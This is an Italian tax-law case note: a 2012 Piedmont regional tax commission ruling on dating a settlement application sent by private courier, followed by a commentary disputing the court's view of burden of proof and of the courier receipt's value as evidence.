In quale data può considerarsi effettuata la spedizione tramite corriere privato dell’istanza di accertamento con adesione?

Procedimento – Commissioni – Giudizio avanti le Commissioni – Presentazione dell’istanza di accertamento con adesione a mezzo di corriere privato – Eccezione di tardività da parte dell’Ufficio ricevente – Onere della prova – È a carico dell’Ufficio – Mancanza di data certa della notificazione – Rilevanza della data apposta dal corriere privato – Sussiste – Condizioni.

La spedizione dell’istanza di accertamento con adesione tramite un corriere privato non ha il valore probatorio assoluto della spedizione a mezzo posta tuttavia può essere sicuramente equiparata alla consegna a mano e poiché il corriere privato non ha titolo per attestare legalmente la data di spedizione del plico e, quindi, la tempestività della spedizione stessa rispetto a un termine legale, al fine di provare la suddetta tempestività, in mancanza di altre indicazioni temporali, si può considerare data certa quella indicata sulla ricevuta rilasciata dal corriere al mittente, di talché qualora l’Ufficio finanziario eccepisca l’intervenuta decadenza processuale del contribuente per tardività del ricorso introduttivo del giudizio di primo grado, ha l’onere di provare la fondatezza della propria eccezione e dunque di dimostrare che l’istanza di accertamento con adesione sia stata notificata oltre il termine di 60 giorni dalla notifica dell’avviso di accertamento.

[Commissione trib. regionale del Piemonte, sez. XII (Pres. Oggè, rel. Rolle), 1° ottobre 2012, sent. n. 60]

SVOLGIMENTO DEL PROCESSO – In seguito a PVC redatto dalla Guardia di Finanza Tenenza di Arona nei confronti della Signora R.A. socia al 50% della Società Immobiliare Annalisa S.r.l. con sede in Arona esercente l’attività di costruzione, gestione e locazione beni immobili, l’Agenzia delle Entrate Ufficio di Arona dopo aver proceduto al controllo della sua posizione fiscale emetteva accertamento per l’anno 2004.
L’accertamento era cosi motivato:
nel corso del 2004 la contribuente aveva effettuato versamenti di capitale nei confronti della Società Immobiliare Annalisa srl per un totale di € 663.500,00.
Dalle dichiarazioni dei redditi per gli anni 2003 e 2004, risultava che la contribuente aveva percepito in quegli anni rispettivamente € 32.999,00 per il 2003 ed € 49.332,00 per il 2004. Inoltre nell’anno 2003 aveva effettuato disinvestimenti immobiliari per € 139.750,00 e per il 2004 per € 25.000,00.
Per l’anno 2000 il reddito imponibile conseguito lordo ammontava ad € 282.883,00, per il 2001 a € 300.000,00 e per il 2002 ad € 23.232,00.
La Signora R. avrebbe dimostrato solo in parte documentalmente la fonte dei flussi finanziari versati nella Società immobiliare e la stessa risultava svolgere la propria attività imprenditoriale in altre società di persone di cui era socia al 50%, la TRAC sas di R.A. e c. e la LBS sas di R.A. e c. al 51%.
Tuttavia i versamenti effettuati nei confronti della Immobiliare Annalisa non erano giustificati dai redditi dichiarati negli anni 2000/2004 e dai disinvestimenti patrimoniali per cui venivano ricondotti ad utili extra contabili sottratti a tassazione.
L’Ufficio accertava per l’anno 2004 ai sensi dell’art. 41-bis DPR 600/1973 redditi di partecipazione per € 304.850,00 con una maggiore imposta accertata di € 98.889,00 ed irrogava la sanzione di € 101.965,00.
Venivano pure emessi accertamenti per il 2005 e per il 2006.
L’Ufficio emetteva inoltre accertamento per l’anno 2006 elevando il reddito imponibile ad € 105.834,00.
Gli accertamenti venivano notificati il 29 aprile 2009 per il 2004 e il 7 maggio 2009 per il 2006.
Contro gli accertamenti proponeva ricorso la contribuente che ne eccepiva la carenza di motivazione perché erano stati emessi sulla scorta dell’acritico recepimento del PVC della Guardia di Finanza. Lamentava l’erronea ricostruzione operata dall’Ufficio che non aveva tenuto conto di rimborsi ricevuti da parte della Società Immobiliare partecipata di entità tale da coprire l’eccedenza rilevata.
Per il 2004 eccepiva inoltre un errore nell’imputazione di un versamento di € 70.000,00 in realtà effettuato dal fratello D.
Lamentava inoltre il metodo di calcolo della sanzione.
L’Ufficio si costituiva e controdeduceva l’inammissibilità dei ricorsi per decadenza del termine di cui all’art. 21 D.Lgs. 546/92 in quanto i ricorsi erano stati presentati il 6.11.2009 e quindi oltre il termine di 60 gg.
Nel merito contrastava quanto dedotto dalla contribuente circa la carenza ed assenza di valida motivazione dell’accertamento.
La Commissione Provinciale con sentenza che aveva riunito i ricorsi relativi alle annualità 2004 e 2006, riferiva che all’udienza pubblica di trattazione il difensore della ricorrente aveva prodotto istanze di accertamento con adesione ex art. 6 D.Lgs. 218/97 sostenendo l’effetto sospensivo sul termine per l’impugnazione degli accertamenti.
La Commissione decideva per l’inammissibilità dei ricorsi in quanto l’istanza di accertamento con adesione era trasmessa non già a mezzo della posta, o consegnata direttamente a mano ma a mezzo della “SWISS Post”.
La trasmissione a mezzo corriere privato poteva valere al più come consegna a mano, escludendosi che il concessionario del servizio di recapito postale potesse attestare la data di spedizione e quindi la tempestività della presentazione dell’istanza.
In mancanza della prova della tempestività dell’istanza (non si poteva ritenere sufficiente il timbro dell’ufficio) le istanze si dovevano ritenere inefficaci e quindi inidonee alla sospensione del termine per l’impugnazione dell’accertamento.
La contribuente appellava. Lamentava che la Commissione non avesse tenuto conto della data apposta sulla ricevuta della SWISS Post, come se si fosse trattato di una consegna a mano.
Anno 2004 Accertamento notificato il 29 aprile 2009, data consegna istanza accertamento con adesione 24 giugno 2009.
Anno 2006 Accertamento notificato il 7 maggio 2009, data consegna istanza 24 giugno 2009. Chiedeva la riforma della sentenza.
L’Ufficio si costituiva e controdeduceva che non era certa la data di presentazione dell’istanza di accertamento con adesione che avrebbe avuto l’effetto di sospendere per 90 giorni dalla data di presentazione dell’istanza il termine per proporre il ricorso.
La data di consegna al corriere era 29.6.2009 ma quella di ricezione da parte dell’Ufficio era 28.7.2009 come risultava dal timbro e dal protocollo.
La presentazione dell’istanza sarebbe stata pertanto tardiva essendo trascorsi 60 giorni dalla notifica degli accertamenti con la conseguente inammissibilità dei conseguenti ricorsi.
Nel merito affermava che la contribuente non aveva fornito validi elementi per contrastare gli accertamenti.
Chiedeva la conferma della sentenza di primo grado.

[-protetto-]

MOTIVI DELLA SENTENZA – Se è vero che l’inoltro o spedizione delle istanze di accertamento con adesione attraverso la SWISS Post non ha il valore probatorio assoluto della spedizione a mezzo posta, tuttavia esso può essere sicuramente equiparato alla consegna a mano. Se è escluso, come ha affermato il Giudice di primo grado che il concessionario del servizio di recapito postale possa attestare la data di spedizione dello stesso e quindi la tempestività rispetto ad un termine legale va tuttora osservato che l’unica data certa è quella indicata sulla ricevuta rilasciata dal concessionario. Di fatto l’Ufficio che ha dedotto la decadenza non ha provato in alcun modo che esista un’altra data certa ed incontrovertibile che attesti la non tempestività della consegna del plico nei confronti della Agenzia delle Entrate Direzione Provinciale di Novara. Non essendo stata provata la intempestività della presentazione dell’istanza anche il vizio di inammissibilità dei ricorsi viene meno.
La Commissione esamina dunque il merito.
Per quanto riguarda l’anno 2004 appaiono non giustificati solo € 90.000,00.
Infatti dall’estratto conto della Banca Popolare di Intra € 70.000,00 risultano versati da R.D., € 5.000,00 più € 10.000,00 più € 6.000,00 risultano rimborsi.
Il reddito accertato per il 2004 viene determinato in € 129.000,00.
Per l’anno 2006 il reddito dichiarato risulta congruo in quanto il maggior reddito risultava da rimborsi per € 111.000,00.
Vi sono valide ragioni per compensare le spese di giudizio.

P.Q.M. – In parziale accoglimento dell’appello determina il reddito accertato per l’anno 2004 in € 129.000,00 e per l’anno 2006 dichiara la congruità del reddito dichiarato dal contribuente. Spese compensate.

In quale data può considerarsi effettuata la spedizione tramite corriere privato
dell’istanza di accertamento con adesione?

1. Premessa

Nella controversia decisa con la sentenza in commento la Commissione tributaria regionale del Piemonte era chiamata a stabilire, preliminarmente, se al fine di verificare la tempestiva presentazione dell’istanza di accertamento con adesione, eseguita con spedizione tramite corriere privato, debba aversi riguardo alla data di consegna del plico al vettore piuttosto che alla data di consegna all’Ufficio destinatario.
Si tratta di una questione di grande rilievo poiché, com’è noto, il contribuente a cui sia stato notificato un avviso di accertamento ha la possibilità di presentare, entro il termine di impugnazione dell’atto, un’istanza di accertamento con adesione che, oltre ad avviare formalmente il procedimento di definizione dell’accertamento, produce l’effetto di sospendere per 90 giorni il termine di impugnazione dell’atto impositivo (art. 6, secondo e terzo comma, del D.Lgs. 19 giugno 1997, n. 218).
Poiché è certamente possibile presentare l’istanza di accertamento con adesione (atto sostanziale) tramite spedizione all’Ufficio impositore, potrebbe accadere che la suddetta presentazione risulti tempestiva (ovvero eseguita entro 60 giorni dalla notifica dell’avviso di accertamento) se si ha riguardo alla data di affidamento del plico al corriere e risulti, invece, tardiva se si ha riguardo alla data di consegna del plico al destinatario.
Il contribuente, evidentemente, beneficerà della sospensione del termine di impugnazione (effetto processuale) soltanto nel primo caso e non nel secondo, con la conseguenza che il ricorso proposto tra il 60° ed il 150° giorno dalla notifica dell’avviso di accertamento risulterà tempestivo (quindi ammissibile) soltanto nel primo caso e tardivo (quindi inammissibile) nel secondo caso.
Sappiamo che in tema di notificazioni vige nel nostro ordinamento il principio generale secondo cui gli effetti della notificazione devono essere ricollegati – per quanto riguarda il notificante – al solo compimento delle formalità a lui direttamente imposte dalla legge, ossia alla consegna dell’atto da notificare all’ufficiale giudiziario, essendo la successiva attività di quest’ultimo e dei suoi ausiliari sottratta in toto al controllo ed alla sfera di disponibilità del notificante medesimo.
La Corte Costituzionale (1) ha definitivamente chiarito che tale principio, per la sua portata generale, non può non riferirsi ad ogni tipo di notificazione e, dunque, anche alla notificazione a mezzo posta, che, pertanto, per il notificante si perfeziona con la consegna del plico all’agente postale, nella data risultante dal timbro che questi appone sul plico medesimo.
Nell’ambito del processo tributario, peraltro, l’art. 16 del D.Lgs. 31 dicembre 1992, n. 546, consente espressamente alle parti di eseguire le notificazioni «direttamente a mezzo del servizio postale», precisando – al quinto comma – che «Qualunque comunicazione o notificazione a mezzo del servizio postale si considera fatta nella data della spedizione».
Nel caso esaminato dalla Commissione tributaria regionale piemontese, come abbiamo visto, veniva in rilievo la tempestività della spedizione di un atto sostanziale che, tuttavia, produce effetti processuali.
Di qui la necessità di verificare se alla presentazione dell’istanza di accertamento con adesione si applichino i principi che regolano la materia delle notificazioni e, soprattutto, di stabilire se gli stessi principi trovino applicazione anche quando il compito di portare un atto a conoscenza di un determinato destinatario sia affidato non all’ufficiale giudiziario o all’agente postale, bensì ad un corriere privato.

2. Il caso di specie

L’Agenzia delle entrate rettificava il reddito dichiarato da una contribuente per gli anni d’imposta 2004 e 2006, nel presupposto che gli investimenti dalla stessa effettuati in quegli anni, consistenti nell’apporto di capitali in una società a responsabilità limitata di cui era socia al 50%, non fossero giustificati dai redditi dichiarati.
L’avviso di accertamento relativo all’anno d’imposta 2004 veniva notificato il 29 aprile 2009, quello relativo al 2006 veniva notificato il 7 maggio 2009.
Avverso i due atti impositivi la contribuente proponeva separati ricorsi, eccependone l’illegittimità per carenza di motivazione, stante l’acritico recepimento del processo verbale di constatazione redatto dalla Guardia di finanza, e l’infondatezza nel merito, non avendo l’Ufficio tenuto conto dei rimborsi che la ricorrente aveva ricevuto in quegli anni dalla stessa società partecipata.
L’Agenzia delle entrate si costituiva in giudizio opponendo l’inammissibilità e l’infondatezza nel merito degli avversi ricorsi. Sotto il primo profilo, in particolare, l’Ufficio osservava che i ricorsi erano stati proposti il 6 novembre 2009, e quindi ben oltre il termine di 60 giorni dalla notifica degli atti impugnati.
A tale ultima eccezione replicava la ricorrente, nell’udienza di trattazione, deducendo di aver presentato tempestiva istanza di accertamento con adesione, ai sensi dell’art. 6 del D.Lgs. n. 218/1997, di cui produceva copia.
La Commissione tributaria provinciale di Novara, previa riunione dei ricorsi, li dichiarava inammissibili in quanto l’istanza di accertamento con adesione era stata «trasmessa non già a mezzo della posta, o consegnata direttamente a mano ma a mezzo della SWISS POST».
Secondo il giudice di prime cure «La trasmissione a mezzo corriere privato poteva valere al più come consegna a mano, escludendosi che il concessionario del servizio di recapito postale potesse attestare la data di spedizione e quindi la tempestività della presentazione dell’istanza. In mancanza della prova della tempestività dell’istanza (non si poteva ritenere sufficiente il timbro dell’ufficio), le istanze si dovevano ritenere inefficaci e quindi inidonee alla sospensione del termine per l’impugnazione dell’accertamento».
Avverso la sentenza di primo grado proponeva appello la contribuente, contestando alla Commissione tributaria provinciale di non avere «tenuto conto della data apposta sulla ricevuta della SWISS POST, come se si fosse trattato di consegna a mano».
Dalla suddetta ricevuta, proseguiva l’appellante, risultava che il plico contenente l’istanza di accertamento con adesione era stato consegnato al corriere il 24 giugno 2009, data nella quale, evidentemente, era ancora pendente il termine di impugnazione degli avvisi di accertamento. Nel merito, la contribuente insisteva per l’infondatezza degli atti impugnati.
Sul motivo di appello riguardante l’inammissibilità dei ricorsi, l’Agenzia delle entrate replicava che non essendovi prova certa sulla data di spedizione del suddetto plico, al fine di verificare se la presentazione dell’istanza di accertamento con adesione fosse o meno tempestiva doveva aversi riguardo esclusivamente alla data di ricezione del plico stesso da parte dell’Ufficio, che “timbro e protocollo” attestavano essere avvenuta il 28 luglio 2009.
Poiché a tale data era già trascorso il termine di 60 giorni dalla notifica degli impugnati avvisi di accertamento, nel caso in esame non poteva invocarsi la sospensione dello stesso termine prevista dall’art. 6, terzo comma, del D.Lgs. n. 218/1997, e dunque bene avevano fatto i primi giudici a dichiarare l’inammissibilità dei ricorsi proposti dall’appellante.
La Commissione tributaria regionale del Piemonte ha accolto il primo motivo di appello e ha deciso la controversia nel merito, con la riduzione del reddito accertato per l’anno 2004 e l’annullamento totale dell’accertamento relativo all’anno d’imposta 2006.
Sulla questione relativa alla tempestività dell’istanza di accertamento con adesione, quella che qui interessa, i giudici piemontesi hanno preliminarmente osservato che la spedizione di tale istanza tramite SWISS POST, pur non avendo «il valore probatorio assoluto della spedizione a mezzo posta», può sicuramente essere «equiparata alla consegna a mano».
Se, ha proseguito il Collegio, deve escludersi che il concessionario del servizio di recapito postale possa attestare la data di spedizione di quella istanza, e quindi la sua «tempestività rispetto ad un termine legale», deve altresì osservarsi che «l’unica data certa è quella indicata sulla ricevuta rilasciata dal concessionario».
L’Ufficio, peraltro, che pure aveva contestato la decadenza della contribuente, «non ha provato in alcun modo che esista un’altra data certa ed incontrovertibile che attesti la non tempestività della consegna del plico» all’Agenzia delle entrate di Novara.
Pertanto, ha concluso la Commissione tributaria regionale, «non essendo stata provata la intempestività della presentazione dell’istanza anche il vizio di inammissibilità dei ricorsi viene meno».
Ad avviso di chi scrive, la sentenza in commento suscita più di una perplessità.

3. L’onere di provare la “tempestività rispetto a un termine legale”

Per ragioni di ordine logico, la nostra prima obiezione riguarda l’affermazione dei giudici piemontesi secondo cui spettava all’Ufficio, che in giudizio aveva eccepito una “decadenza della contribuente”, fornire la prova a supporto di tale eccezione.
In realtà, l’onere di provare la tempestività del ricorso incombe sempre sulla parte ricorrente, anche a prescindere da una specifica eccezione formulata in tal senso dalla parte resistente.
Peraltro, il controllo sulla tempestività del ricorso, e dunque sulla sua ammissibilità, può e deve essere eseguito anche d’ufficio dal giudice.
In tal senso, e con specifico riferimento ad un caso analogo a quello deciso dalla Commissione tributaria regionale del Piemonte, la Corte di Cassazione ha recentemente ribadito le seguenti considerazioni di carattere generale: «a) La legge (articolo 21, primo comma, D.Lgs. 546/92) fissa per la proposizione del ricorso al giudice tributario un termine di decadenza di sessanta giorni dalla notifica dell’atto impugnato. b) Il rispetto del suddetto termine costituisce condizione dell’azione d’impugnazione e pertanto, secondo i principi generali in materia di esercizio di azioni sottoposte a termini di decadenza, grava sul ricorrente l’onere di provare la tempestività del proprio ricorso. c) Quando la decadenza sia rilevabile di ufficio, come nel caso dell’impugnativa degli atti tributari, l’onere probatorio gravante sul ricorrente risulta soddisfatto dalla produzione della documentazione dimostrativa della data di notifica dell’atto impugnato. d) Ove il contribuente, presentando una istanza di accertamento con adesione, abbia determinato la sospensione ex art. 6 D.Lgs. 218/97 del termine fissato dall’articolo 21 D.Lgs. 546/92, il suo onere di (allegazione e) prova della tempestività del ricorso si estende alla (allegazione e) prova del fatto generativo della sospensione, ossia della presentazione dell’istanza di accertamento con adesione. La rilevabilità di ufficio della inammissibilità del ricorso tardivo implica infatti che il giudice di merito, tanto in primo quanto in secondo grado, debba poter rilevare ex actis la tempestività del ricorso, con conseguente onere del ricorrente di allegare nel ricorso introduttivo e di provare mediante tempestiva produzione documentale eventuali fatti sospensivi del termine ex art. 21 D.Lgs. 546/92 e quindi, per quanto qui interessa, il fatto di avere presentato una istanza di accertamento con adesione. In difetto di tale allegazione e prova il giudice di merito non potrà che rilevare la tardività del ricorso introduttivo e dichiararne l’inammissibilità» (2).
Pertanto, sostenere, come ha fatto il Collegio piemontese, che spettasse all’Agenzia delle entrate fornire la prova della intempestività dell’istanza di accertamento con adesione e, con essa, la prova della intempestività del ricorso, è semplicemente errato.
Per altro verso, sotto un profilo strettamente fattuale, non pare corretta nemmeno l’affermazione dei giudici di appello secondo la quale l’Ufficio non avrebbe fornito alcuna prova a supporto della propria eccezione di inammissibilità del ricorso.
Dalla narrativa della sentenza in commento apprendiamo che la data di ricezione dell’istanza di accertamento con adesione «da parte dell’Ufficio era il 28.07.2009 come risultava dal timbro e protocollo».
Ora, dobbiamo ritenere che “timbro e protocollo” non possano che risultare dall’esemplare della suddetta istanza ricevuto dall’Agenzia delle entrate e che sia stata quest’ultima a produrlo in giudizio.
Pertanto, l’Ufficio, pur non essendone onerato, certamente ha fornito in giudizio la prova della fondatezza della propria eccezione.
Il giudice può ritenere tale prova non idonea o non sufficiente, ma non può affermare che essa non sia stata fornita affatto, come non può affermare, ripetiamo, per le considerazioni fatte in precedenza, che incombesse sull’Ufficio l’onere di fornirla.

4. La spedizione tramite corriere privato come “consegna a mano”

I giudici della Commissione tributaria provinciale di Novara avevano affermato che la trasmissione dell’istanza di accertamento con adesione «a mezzo corriere privato poteva valere al più come consegna a mano», opinione condivisa anche dai giudici di appello che, addirittura, hanno stabilito che la spedizione attraverso la SWISS POST «può essere sicuramente equiparata alla consegna a mano».
Ma se la spedizione tramite corriere privato equivale, come sostengono i giudici, alla “consegna a mano” del plico, occorre chiarire “a mani di chi” si intende avvenuta la consegna?
E soprattutto, che rilievo ha potuto assumere tale equiparazione ai fini della decisione?
Quanto al primo interrogativo, dobbiamo ritenere che i giudici piemontesi abbiano inteso equiparare la spedizione a mezzo del corriere privato alla “consegna a mani proprie del destinatario”, di cui all’art. 138 c.p.c., non avendo alcun senso l’ipotesi alternativa, ovvero che la suddetta spedizione sia equiparabile alla “consegna a mani proprie del vettore”.
In ogni caso, e per rispondere al secondo interrogativo, ad avviso di chi scrive nessun rilievo poteva assumere l’equiparazione della spedizione tramite corriere privato alla “consegna a mano” del plico, sia che per essa si sia intesa “consegna a mani del destinatario”, sia che per essa si sia intesa “consegna a mani del vettore”.
Invero, la notifica tramite “consegna a mani proprie del destinatario” rappresenta, com’è noto, la modalità di notifica che assicura la concreta conoscenza dell’atto notificato da parte del destinatario medesimo e può essere eseguita ovunque egli venga trovato dall’agente notificatore (cosiddetta “notificazione a luogo libero”).
Nel caso qui in esame, tuttavia, non assumeva alcun rilievo stabilire in quale luogo fosse avvenuta la notifica dell’istanza di accertamento con adesione, visto che il destinatario, un Ufficio pubblico, non poteva che essere rinvenuto dal notificatore nella propria sede.
Ma questo, ripetiamo, non era in alcun modo risolutivo nel caso di specie, in cui occorreva stabilire non il “dove” era stata spedita l’istanza di accertamento con adesione, bensì il “quando”, al fine di verificarne la tempestività e, con essa, la tempestiva sospensione del termine di impugnazione degli avvisi di accertamento.

5. La “data certa” della spedizione tramite corriere privato

Venendo all’aspetto più controverso e interessante della vicenda processuale in esame, ovvero all’individuazione della “data certa” in cui poteva ritenersi essere avvenuta la spedizione dell’istanza di accertamento con adesione, occorre in primo luogo evidenziare che l’art. 6 del D.Lgs. n. 218/1997 nulla dispone circa le modalità di presentazione della stessa, come ha avuto modo di sottolineare anche l’Amministrazione finanziaria nella circolare 8 aprile 2002, n. 28/E (3).
Pertanto, riteniamo che il contribuente possa presentare la suddetta istanza avvalendosi di qualunque mezzo, e dunque, oltre che spedendola tramite il servizio postale, può inviarla mediante fax, mediante posta elettronica certificata e, ovviamente, anche mediante corriere privato.
In quest’ultimo caso, tuttavia, si pone il problema di stabilire se la presentazione possa considerarsi eseguita nella data di consegna del plico al vettore ovvero nella data di consegna del plico al destinatario (problema che, ovviamente, non si pone nei casi in cui tali consegne vengano eseguite nel medesimo giorno).
A tal fine occorre verificare, preliminarmente, se assuma qualche rilievo la modalità di spedizione dell’istanza, ovvero se possa risultare discriminante l’invio della stessa in plico senza busta piuttosto che in busta chiusa.
Sappiamo che nel diritto processuale tributario «è principio generale che quando sia consentito servirsi del servizio postale, per la verifica della tempestività dei ricorsi e delle impugnazioni, sia del contribuente che dell’Amministrazione finanziaria, si deve aver riguardo non alla data di arrivo, ma a quella di spedizione, in rigorosa applicazione della fondamentale norma di riferimento costituita dall’art. 20, comma 2, seconda parte, del D.Lgs. 31 dicembre 1992, n. 546, secondo la quale “in tal caso il ricorso s’intende proposto al momento della spedizione nelle forme sopra indicate”; tuttavia l’operatività di tale principio è subordinata, necessariamente, al rigoroso adempimento delle tre modalità specificamente prescritte per la spedizione del ricorso a mezzo posta (assumere come strumento un plico senza busta; scegliere il servizio della raccomandata ma, non semplice, bensì con avviso di ricevimento), di talché l’inosservanza anche di una sola di tali modalità preclude al ricorrente la possibilità di fornire altrimenti la prova della tempestività della proposizione del ricorso riferita alla data della spedizione, e perciò nel caso in cui il contribuente abbia inviato il ricorso in plico con busta raccomandata, per verificarne la tempestività non può farsi riferimento alla data di spedizione, ma solo a quella di ricezione» (4).
L’istanza di accertamento con adesione, vale qui ribadirlo, è un atto sostanziale e non processuale, motivo per il quale ad essa risultano certamente applicabili i principi affermati in materia di notifica degli atti amministrativi, non sussistendo alcuna valida ragione per ritenere che quei principi possano valere solo quando notificante sia la pubblica Amministrazione e non anche quando il notificante sia un privato cittadino.
Ricordiamo, allora, che la Suprema Corte ha costantemente affermato che «il principio secondo cui gli effetti della notificazione eseguita a mezzo del servizio postale si producono per il notificante al momento della consegna del piego all’ufficiale giudiziario (ovvero al personale del servizio postale) e per il destinatario al momento della ricezione, ha carattere generale e trova applicazione non solo con riferimento agli atti processuali, ma anche con riferimento agli atti d’imposizione tributaria. Ne consegue che il termine per verificare la tempestività della notificazione dell’avviso di accertamento spedito a mezzo posta coincide con la data di spedizione del plico e non con quella della sua ricezione da parte del contribuente» (5).
Ora, è noto che la spedizione degli avvisi di accertamento viene eseguita in busta chiusa e se, per la verifica della tempestività della stessa rispetto al termine di decadenza, deve aversi riguardo al timbro apposto sul plico e sull’avviso di spedizione il giorno della consegna all’Ufficio postale, agli stessi elementi probatori deve aversi riguardo quando la suddetta verifica attenga la spedizione di un atto sostanziale da parte del contribuente.
E dunque, per concludere su questo primo aspetto, riteniamo che la spedizione di un atto sostanziale, che sia eseguita dalla pubblica Amministrazione o dal privato cittadino, debba considerarsi effettuata il giorno della consegna al vettore, a prescindere dall’utilizzo della busta chiusa o del “plico alla francese”, non trovando applicazione in subiecta materia le disposizioni e i principi (più rigorosi) vigenti in materia di notifica degli atti giudiziari (6) (7).
Ai fini della nostra ricerca, perciò, l’indagine deve spostarsi su un altro fronte, ovvero sul “potere certificativo” che si può riconoscere al corriere privato e sulla “valenza probatoria” della ricevuta rilasciata da quest’ultimo al momento in cui il notificante gli consegna il plico da recapitare.
In altri termini, il nodo da sciogliere è se l’attestazione che rilascia il corriere privato, di aver ricevuto un certo plico, in una certa data e per un determinato destinatario, abbia o meno la “valenza probatoria” dell’attestazione rilasciata dall’agente postale, affinché si possa considerare eseguita la spedizione nel giorno stesso dell’affidamento di quel plico al vettore.
Sulla specifica questione non ci risulta che la giurisprudenza tributaria si sia pronunciata prima della sentenza in commento.
Un contributo al dibattito, tuttavia, può essere offerto dalla giurisprudenza amministrativa che ha affrontato una questione per molti versi analoga a quella che ci occupa.
Quando i giudici amministrativi sono stati chiamati a stabilire se siano ammissibili o meno le domande di partecipazione a gare d’appalto inviate tramite corriere privato quando una clausola del bando di gara prescriva, a pena di esclusione, che l’invio dei plichi contenenti l’offerta debba avvenire esclusivamente a mezzo di raccomandata del servizio postale, hanno chiarito che «è illegittima l’ammissione dell’impresa che a tale fine si sia invece servita di un corriere privato, atteso che quest’ultimo costituisce mezzo alternativo alla spedizione postale, ma non equivalente ad essa, in quanto il servizio di Poste Italiane offre la certificazione legale dell’avvenuta spedizione, che è particolarmente adatta per gli usi amministrativi e giudiziari» (8).
Ora, è evidente che la richiamata pronuncia fa riferimento ad un’ipotesi in cui il bando impone specificamente l’invio delle offerte a mezzo di “raccomandata del servizio postale”, mentre, come abbiamo visto, l’art. 6 del D.Lgs. n. 218/1997 nulla dispone circa le modalità di presentazione dell’istanza di accertamento con adesione, tuttavia, per quanto qui rileva, significativa è la precisazione del TAR del Molise secondo cui il servizio di Poste Italiane offrirebbe (diversamente dai corrieri privati?) la certificazione legale dell’avvenuta spedizione.
In senso analogo, riteniamo, si è espresso il TAR dell’Emilia Romagna quando ha riscontrato la violazione del termine perentorio di presentazione di un’offerta «a nulla rilevando l’attestazione del corriere privato (utilizzato nella specie) circa gli asseriti tentativi di consegna del plico contenente la discussa offerta, attesa la pacifica possibilità di ricorrere ad un corriere privato, ma fermo restando che il relativo incarico non può costituire giustificazione di eventuali ritardi o inadempienze» (9).
In sostanza, pare di capire, quando la spedizione si esegue tramite corriere privato i relativi effetti non sarebbero ricollegati – per quanto riguarda il notificante – al solo compimento delle formalità a lui direttamente imposte, ossia alla consegna dell’atto da spedire al vettore, ma alla materiale consegna dell’atto notificato al destinatario, nonostante anche in questo caso, come nel caso di notifica mediante ufficiale giudiziario o agente postale, la successiva attività del suddetto vettore sia sottratta in toto al controllo e alla sfera di disponibilità del notificante medesimo (10).
Il segnalato orientamento giurisprudenziale, dunque, sembra escludere valenza probatoria alla ricevuta rilasciata dal corriere privato al momento in cui gli affida il plico da spedire, quanto meno riguardo alla data certa della spedizione, conclusione che, per il vero, potrebbe anche apparire anacronistica o eccessivamente restrittiva.
Anacronistica se si considera che la normativa in materia di notifiche degli atti giudiziari evolve ormai verso un utilizzo sempre più diffuso di mezzi alternativi all’ufficiale giudiziario o all’agente postale, come il fax e la posta elettronica certificata.
Eccessivamente restrittiva se si considera che la gestione dei «servizi postali non riservati» da parte dei corrieri privati è pur sempre subordinata al previo «rilascio di licenza individuale da parte del Ministero dello sviluppo economico» (art. 5 del D.Lgs. 22 luglio 1999, n. 261) ed è comunque soggetta a «controlli e verifiche degli organi competenti» (art. 7 del D.M. 4 febbraio 2000, n. 73).
Pertanto, l’affidabilità del servizio gestito dai corrieri privati sembrerebbe adeguatamente garantita dalla legge (11) e, di conseguenza, non dovrebbero esserci difficoltà nel riconoscere in capo ad un vettore titolare di una specifica licenza ministeriale e soggetto a stringenti controlli, la capacità di attestare la data di affidamento del plico notificando, soprattutto quando, come nel caso esaminato dalla Commissione tributaria regionale del Piemonte nell’annotata pronuncia, il destinatario non contesti il contenuto del plico medesimo.
Tuttavia, un attento esame delle disposizioni contenute nel richiamato D.M. n. 73/2000 sembra confortare le conclusioni a cui è pervenuta la giurisprudenza amministrativa.
L’art. 1, quarto comma, del suddetto decreto, stabilisce che, per chi intenda svolgere attività nel settore postale, «è necessario il previo rilascio di una licenza individuale per lo svolgimento delle seguenti attività: … c) per i servizi relativi agli invii raccomandati ed agli invii assicurati che non siano attinenti alle procedure amministrative e giudiziarie e che superino i limiti di cui all’art. 4, comma 1, del decreto legislativo n. 261 del 1999».
Chi, pertanto, intenda svolgere singoli servizi postali «non riservati al fornitore del servizio universale» (Poste Italiane), come prescrive l’art. 5 del D.Lgs. n. 261/1999, deve chiedere il rilascio di apposita “licenza individuale” che, tuttavia, può essere rilasciata per lo svolgimento di specifiche attività, tra le quali «i servizi relativi agli invii raccomandati ed agli invii assicurati che non siano attinenti alle procedure amministrative e giudiziarie».
A quanto pare, dunque, la licenza individuale rilasciata ai corrieri privati non dovrebbe comprendere i suddetti servizi, motivo per il quale, se anche il notificante intenda avvalersi di un corriere privato per spedire un atto attinente una procedura amministrativa, come è l’istanza di accertamento con adesione, non ci sembra che lo stesso corriere sia titolare di un potere certificativo in relazione a tale particolare spedizione, e certamente tale potere non ha in relazione all’individuazione della “data certa” in cui la spedizione può ritenersi eseguita.
Dott. Domenico Carnimeo

(1) Cfr. Corte Cost. 26 novembre 2002, n. 477, in Boll. Trib. On-line.
(2) Cass., sez. trib., 20 febbraio 2013, ord. n. 4247, in Boll. Trib. On-line.
(3) In Boll. Trib., 2002, 606. Nel documento di prassi l’Agenzia delle entrate affronta proprio la questione della “data certa” di presentazione dell’istanza di accertamento con adesione quando la stessa venga eseguita tramite spedizione postale e giunge alla conclusione che, incidendo quella presentazione anche sui termini di proposizione del ricorso tributario, in subiecta materia possa applicarsi il principio stabilito dall’art. 20, secondo comma, del D.Lgs. 31 dicembre 1992, n. 546, e, dunque, che «la data di spedizione sia equiparata a quella di presentazione», a condizione che vengano rispettate le modalità previste dal richiamato art. 20, ovvero che l’istanza venga spedita in plico raccomandato senza busta e con avviso di ricevimento.
(4) Ved. Cass., sez. trib., 18 dicembre 2006, n. 27067, in Boll. Trib., 2007, 984, con nota di F. CERIONI, Se il ricorso è notificato in busta chiusa non vale la data di spedizione.
(5) Cass., sez. trib., 5 dicembre 2011, n. 26053, in Boll. Trib. On-line.
